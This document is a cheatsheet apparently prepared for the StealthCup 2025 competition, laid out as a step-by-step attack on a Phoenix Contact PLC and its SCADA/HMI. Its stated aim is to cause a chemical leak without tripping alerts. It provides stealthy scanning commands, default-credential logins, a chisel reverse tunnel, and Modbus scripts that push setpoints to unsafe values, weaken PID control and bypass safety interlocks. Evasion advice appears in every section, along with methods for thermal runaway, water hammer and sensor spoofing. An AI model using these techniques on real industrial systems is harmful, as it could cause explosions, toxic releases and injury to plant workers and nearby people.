StealthCup 2025: OT/SCADA Attack Cheatsheet

This cheatsheet covers techniques for interacting with the Operational Technology (OT) environment in StealthCup, focusing on achieving the **OT Cup objective** (leak chemicals by bringing the PLC into an unsafe state, setting the PORV flag) while minimizing alerts.

Target: Phoenix Contact PLC and associated SCADA/HMI systems.

1. Phoenix Contact PLC-Specific Information

Understanding the specific characteristics of Phoenix Contact PLCs is crucial for the OT Cup objective.

- **Common Phoenix Contact PLC Models**:
    - **ILC Series**: Common in industrial automation
        - ILC 1x1 (Compact PLCs)
        - ILC 3xx (Mid-range PLCs)
        - ILC 5xx (High-performance PLCs)
    - **RFC Series**: Used for remote field control
    - **AXC Series**: Advanced controllers with multiple protocol support
        - AXC F 2152 (Common in modern installations)
    - **PLCnext Control**: Modern, open-ecosystem controllers
- **Default Ports and Protocols**:
    - **Modbus TCP**: Port 502
    - **Profinet**: UDP 34964, 49152
    - **Phoenix-specific**: Port 41100 (PLCnext Engineer), Port 1962 (PC Worx)
    - **OPC UA**: Port 4840 (common for Phoenix OPC UA servers)
    - **Web Interface**: Port 80/443 (HTTP/HTTPS management)
- **Common Vulnerabilities**:
    - **Authentication Bypass**: Many older models have weak authentication
    - **Firmware Extraction**: Some models allow firmware extraction revealing sensitive information
    - **Web Interface Vulnerabilities**: Default credentials, XSS, CSRF in web management interfaces
    - **Protocol Implementation Flaws**: Especially in Modbus TCP implementations
    - **Hardcoded Credentials**: Some models contain hardcoded maintenance credentials
- **Programming Software**:
    - **PC Worx**: Traditional programming environment
    - **PLCnext Engineer**: Modern programming environment
    - **AUTOMATIONWORX**: Suite including PC Worx and other tools

2. OT Reconnaissance (Stealthy)

Before attempting to manipulate the PLC, gather information about the OT environment.

- **Passive Network Analysis**: Capture and analyze OT network traffic.
    - **Tools**: `tcpdump`, `wireshark`, `zeek`
    - **Example (`tcpdump` - Capture Industrial Protocol Traffic)**:

```
# Capture Modbus TCP traffic (port 502)
sudo tcpdump -i eth0 -n port 502 -w modbus_capture.pcap
# Capture EtherNet/IP traffic (port 44818)
sudo tcpdump -i eth0 -n port 44818 -w ethernet_ip_capture.pcap
```

    - **Evasion Tip**: Passive monitoring doesn't generate traffic. Analyze captured PCAPs offline to identify control systems, protocols, and communication patterns.
- **Port Scanning (Targeted)**: Scan for common industrial protocol ports.
    - **Tools**: `nmap` with specific industrial protocol ports
    - **Example (`nmap` - Industrial Protocol Scan)**:

```
# Scan for common ICS/SCADA ports with extreme caution
nmap -sS -Pn -n --max-retries 1 --scan-delay 5s -p
102,502,20000,44818,47808,1911,9600,1962,20547,4840,41100 <target_IP>
```

    - **Evasion Tip**: Use extremely slow scanning (`--scan-delay`). Consider scanning one port at a time. Avoid version detection initially.
- **Service Identification**: Identify SCADA/HMI components and historian databases.
    - **Tools**: Manual web browsing, banner grabbing
    - **Example (HTTP Banner Grab)**:

```
curl -s -I http://<target_IP>:<port>
```

    - **Evasion Tip**: Use standard HTTP clients that mimic browser behavior. Avoid aggressive crawling or fuzzing.
- **Engineering Workstation Identification**: Locate workstations used to program PLCs.
    - **Passive Methods**:

```
# Look for traffic to PLC programming ports
sudo tcpdump -i eth0 -n 'port 1962 or port 41100'

# Analyze ARP tables for potential engineering workstations
arp -a | grep -v "incomplete"
```

- **Evasion Tip**: Engineering workstations often have direct connections to PLCs and may have less security monitoring than IT systems.

3. Understanding Industrial Protocols

Phoenix Contact PLCs typically support several industrial protocols. Understanding these is crucial.

- **Modbus TCP (Port 502)**: Simple master-slave protocol with function codes and register addresses.
  - **Tools**: `modbus-cli`, `pymodbus`, `modbus-scanner.py`
  - **Example (Read Coils with `pymodbus`)**:

```
from pymodbus.client.sync import ModbusTcpClient
client = ModbusTcpClient('<plc_ip>', port=502)
result = client.read_coils(0, 10)  # Read 10 coils starting at address
0
print(result.bits)
client.close()
```

  - **Evasion Tip**: Use legitimate function codes (1, 2, 3, 4 for reading). Avoid writing initially. Mimic normal polling patterns.
- **EtherNet/IP (Port 44818)**: Common in industrial automation, used by many PLCs.
  - **Tools**: `cpppo`, `pycomm3`
  - **Example (Read Tags with `pycomm3`)**:

```
from pycomm3 import LogixDriver
with LogixDriver('<plc_ip>') as plc:
    print(plc.get_tag_list())  # List available tags
    result = plc.read('SomeTag')  # Read a specific tag
    print(result)
```

  - **Evasion Tip**: Use standard CIP services. Avoid excessive tag discovery or browsing.
- **Profinet (Typically UDP 34964, 49152)**: Used by Siemens and some Phoenix Contact devices.
  - **Tools**: `profinet-tools`, Wireshark with PROFINET dissector
  - **Evasion Tip**: Extremely sensitive to non-standard interactions. Primarily use for passive analysis.
- **OPC UA (Port 4840)**: Modern industrial communication standard often used in Phoenix Contact systems.
  - **Tools**: `opcua-client`, Python `opcua` library
  - **Example (OPC UA Browse)**:

```
from opcua import Client
```

```
client = Client("opc.tcp://<plc_ip>:4840/")
try:
    client.connect()
    # Browse the OPC UA namespace
    objects = client.get_objects_node()
    for child in objects.get_children():
        print(f"Object: {child.get_browse_name()}")
finally:
    client.disconnect()
```

- **Evasion Tip**: OPC UA has built-in security. Use proper authentication when available. Browsing operations are generally less suspicious than write operations.

4. Accessing the SCADA/HMI

The competition mentions an "open source SCADA/HMI solution" - likely something like ScadaBR, OpenSCADA, or RapidSCADA.

- **Web Interface Reconnaissance**: Most modern HMI systems have web interfaces.
  - **Tools**: Standard browsers, `curl`, `wget`
  - **Example (Check for Default Credentials)**:

```
# Try common default credentials
curl -s -d "username=admin&password=admin" http://<hmi_ip>:<port>/login
```

  - **Evasion Tip**: Use standard HTTP methods. Avoid brute forcing. Look for default credentials in documentation.

- **Common Open-Source SCADA Default Credentials**:
  - **ScadaBR**: admin/admin, user/user
  - **OpenSCADA**: admin/admin, operator/operator
  - **RapidSCADA**: admin/admin, user/12345
  - **Mango Automation**: admin/admin
  - **Evasion Tip**: Try default credentials before any brute force attempts. Check documentation for specific versions.

- **Database Access**: Historian databases often contain valuable information.
  - **Tools**: Standard database clients (`mysql`, `psql`, etc.)
  - **Example (MySQL Connection)**:

```
mysql -h <historian_ip> -u <username> -p<password> -e "SHOW DATABASES;"
```

  - **Evasion Tip**: Use legitimate database clients with proper authentication. Avoid excessive queries.

- **HMI Screen Analysis**: Analyze HMI screens to understand process flow and critical parameters.
    - **Approach**: Take screenshots of HMI screens for offline analysis
    - **Information to Look For**:
        - Process diagrams showing valve configurations
        - Setpoint values and ranges
        - Alarm thresholds
        - Safety interlock indicators
    - **Evasion Tip**: Normal browsing of HMI screens appears as legitimate operator activity.

5. IT-OT Boundary Crossing

The competition environment likely includes firewalls between IT and OT networks. Crossing this boundary requires specific techniques.

- **Jump Host Identification and Compromise**:
    - Look for systems with dual-network connectivity
    - Target engineering workstations that can access both networks
    - **Example (Identifying Jump Hosts)**:

```
# Look for hosts with connections to both IT and OT subnets
netstat -rn | grep -E '10\.0\.[0-9]+\.[0-9]+'
```

- **Protocol Tunneling Through Allowed Channels**:
    - Tunnel attack traffic through protocols allowed across the boundary
    - **Example (HTTP Tunneling)**:

```
# Set up HTTP tunnel using chisel
# On pivot host
./chisel server -p 8080 --reverse
# On attack host
./chisel client <pivot_ip>:8080 R:socks
```

    - **Evasion Tip**: Match traffic patterns to legitimate traffic that normally crosses the boundary.

6. PLC Analysis and Manipulation

The ultimate goal is to trigger the PORV flag on the Phoenix Contact PLC.

- **PLC Program Analysis**: Understand the PLC logic before attempting manipulation.
    - **Tools**: Protocol-specific tools, Wireshark
    - **Evasion Tip**: Focus on understanding normal operations first. Look for safety-related variables and conditions.
- **Identifying Critical Variables**: Find variables related to the PORV flag and safety systems.

- **Tools**: Protocol-specific read commands
- **Example (Modbus Register Scan)**:

```
# Scan for interesting registers (simplified example)
from pymodbus.client.sync import ModbusTcpClient
client = ModbusTcpClient('<plc_ip>')
for address in range(0, 1000, 10):  # Read in batches to reduce traffic
    result = client.read_holding_registers(address, 10)
    if not result.isError():
        print(f"Address {address}: {result.registers}")
client.close()
```

- **Evasion Tip**: Read operations are generally less monitored than write operations. Scan slowly and methodically.

- **Manipulating PLC State**: Once critical variables are identified, manipulate them to trigger the PORV flag.
  - **Tools**: Protocol-specific write commands
  - **Example (Modbus Write Single Register)**:

```
from pymodbus.client.sync import ModbusTcpClient
client = ModbusTcpClient('<plc_ip>')
# Write to a specific register to change a setpoint or state
client.write_register(address=<critical_register>, value=
<unsafe_value>)
client.close()
```

  - **Evasion Tip**: Make minimal, targeted changes. Consider timing your changes during normal operational changes to blend in. Avoid making multiple changes in rapid succession.

- **Exploiting PLC Vulnerabilities**: Phoenix Contact PLCs may have specific vulnerabilities.
  - **Tools**: Research-based, protocol-specific
  - **Example (Web Interface Exploitation)**:

```
# Check for default web interface
curl -s http://<plc_ip>/

# Try default credentials
curl -s -d "username=admin&password=admin" http://<plc_ip>/login
```

  - **Evasion Tip**: Targeted exploitation is generally less noisy than scanning or brute forcing.

7. Safety System Analysis and Bypass

The OT Cup objective requires triggering the PORV flag, which likely involves bypassing safety systems.

- **Safety System Identification**:
  - Look for redundant control systems
  - Identify safety instrumented systems (SIS) separate from main control
  - Recognize safety-critical tags (often prefixed with "SIS_" or "SAFETY_")
  - **Example (Identifying Safety Tags via Modbus)**:

```
from pymodbus.client.sync import ModbusTcpClient
import re

client = ModbusTcpClient('<plc_ip>')
# If tag names are available through some means
safety_tags = [tag for tag in all_tags if
re.search(r'(safety|SIS|protect|interlock|PORV)', tag, re.IGNORECASE)]
client.close()
```

- **Safety Interlock Analysis**:
  - **Approach**: Identify conditions that prevent unsafe operations

```
# Example: Monitoring safety interlocks via Modbus
from pymodbus.client.sync import ModbusTcpClient

client = ModbusTcpClient('<plc_ip>')
# Read safety interlock registers (example addresses)
safety_interlocks = client.read_holding_registers(address=2000,
count=10)
print("Safety Interlocks:", safety_interlocks.registers)
client.close()
```

- **Bypass Strategies**:
  - **Sequential Manipulation**: Change parameters in the correct sequence to avoid triggering safety alarms

```
# Example: Sequential manipulation of related parameters
from pymodbus.client.sync import ModbusTcpClient
import time

client = ModbusTcpClient('<plc_ip>')

# Step 1: Modify auxiliary parameter first
client.write_register(address=<auxiliary_param>, value=<new_value>)
time.sleep(60)  # Wait for system to stabilize

# Step 2: Modify main parameter
```

```
client.write_register(address=<main_param>, value=<unsafe_value>)

client.close()
```

- **Timing-Based Attacks**: Make changes during normal operational fluctuations
- **False Feedback**: If possible, manipulate sensor inputs to make the system believe conditions are normal

8. Triggering the PORV Flag

The PORV (Pressure-Operated Relief Valve) flag likely indicates an overpressure condition that would cause a safety valve to open, resulting in a chemical leak.

- **Understanding Safety Systems**: Safety systems typically have multiple layers of protection.
  - **Evasion Tip**: Understand normal operating parameters before attempting manipulation.
- **Potential Approaches**:
  1. **Setpoint Manipulation**: Change pressure/temperature setpoints to unsafe values.
  2. **Safety Interlock Bypass**: Disable or bypass safety interlocks if possible.
  3. **Sensor Value Spoofing**: Make the system believe conditions are normal while pushing physical parameters to unsafe levels.
  4. **Control Loop Interference**: Disrupt PID control loops that maintain safe operation.
- **Example (Modbus Setpoint Manipulation)**:

```
from pymodbus.client.sync import ModbusTcpClient
import time

client = ModbusTcpClient('<plc_ip>')

# Read current setpoint
current_setpoint = client.read_holding_registers(address=
<setpoint_register>, count=1)
print(f"Current setpoint: {current_setpoint.registers[0]}")

# Gradually increase setpoint to avoid sudden changes that might trigger
alerts
target_setpoint = <unsafe_value>
current_value = current_setpoint.registers[0]

while current_value < target_setpoint:
    current_value += 5  # Small increment
    client.write_register(address=<setpoint_register>, value=current_value)
    print(f"Setpoint changed to: {current_value}")
    time.sleep(30)  # Wait between changes to avoid rapid changes

client.close()
```

- **Example (Control Loop Interference)**:

```
from pymodbus.client.sync import ModbusTcpClient
import time

client = ModbusTcpClient('<plc_ip>')

# Identify PID control parameters (example)
pid_kp_register = <proportional_gain_register>
pid_ki_register = <integral_gain_register>

# Read current values
current_kp = client.read_holding_registers(address=pid_kp_register,
count=1).registers[0]
current_ki = client.read_holding_registers(address=pid_ki_register,
count=1).registers[0]

# Modify PID parameters to make control loop less responsive or unstable
client.write_register(address=pid_kp_register, value=int(current_kp * 0.5))
# Reduce proportional gain
time.sleep(60)  # Wait for effect
client.write_register(address=pid_ki_register, value=int(current_ki * 0.2))
# Reduce integral gain

client.close()
```

- **Evasion Tip**: Make changes that could appear to be operator error or normal process fluctuations. Gradual changes are less likely to trigger alerts than sudden ones.

9. Process-Specific Attack Vectors

Chemical processes have specific vulnerabilities that can be exploited to trigger safety conditions.

- **Pressure Control Manipulation**:
  - Increase pressure setpoints beyond safe limits
  - Disable pressure relief mechanisms
  - Create conditions for water hammer effects
- **Temperature Control Interference**:
  - Modify temperature setpoints to unsafe levels
  - Disable cooling systems or reduce their effectiveness
  - Create conditions for thermal runaway
- **Flow Control Disruption**:
  - Create deadheading conditions (pump running against closed valve)
  - Induce cavitation in pumps
  - Create water hammer conditions by rapidly closing valves

- **Chemical Reaction Manipulation**:
    - Alter reactant ratios to create exothermic reactions
    - Disable inhibitor or catalyst control systems
    - Modify cooling systems for reaction vessels

General Evasion Tips for OT Attacks

- **Timing**: Perform actions during normal business hours when legitimate changes might occur.
- **Incremental Changes**: Make small, gradual changes rather than dramatic ones.
- **Legitimate Protocols**: Use standard industrial protocols and legitimate function codes/services.
- **Minimal Interaction**: Minimize the number of commands sent to the PLC.
- **Understand Normal Operation**: Learn what normal operation looks like before attempting changes.
- **Avoid Scanning**: Targeted interaction is better than broad scanning or enumeration.
- **Mimic Operator Behavior**: Pattern your activities after legitimate operator actions.
- **Blend with Normal Traffic**: Time your actions to coincide with normal operational changes.
- **Avoid Alarms**: Stay below alarm thresholds when possible.
- **Understand Process Physics**: Use knowledge of the physical process to identify subtle attack vectors.

Always consult the Alert Evasion Cheatsheet and Scoring System Cheatsheet before performing actions.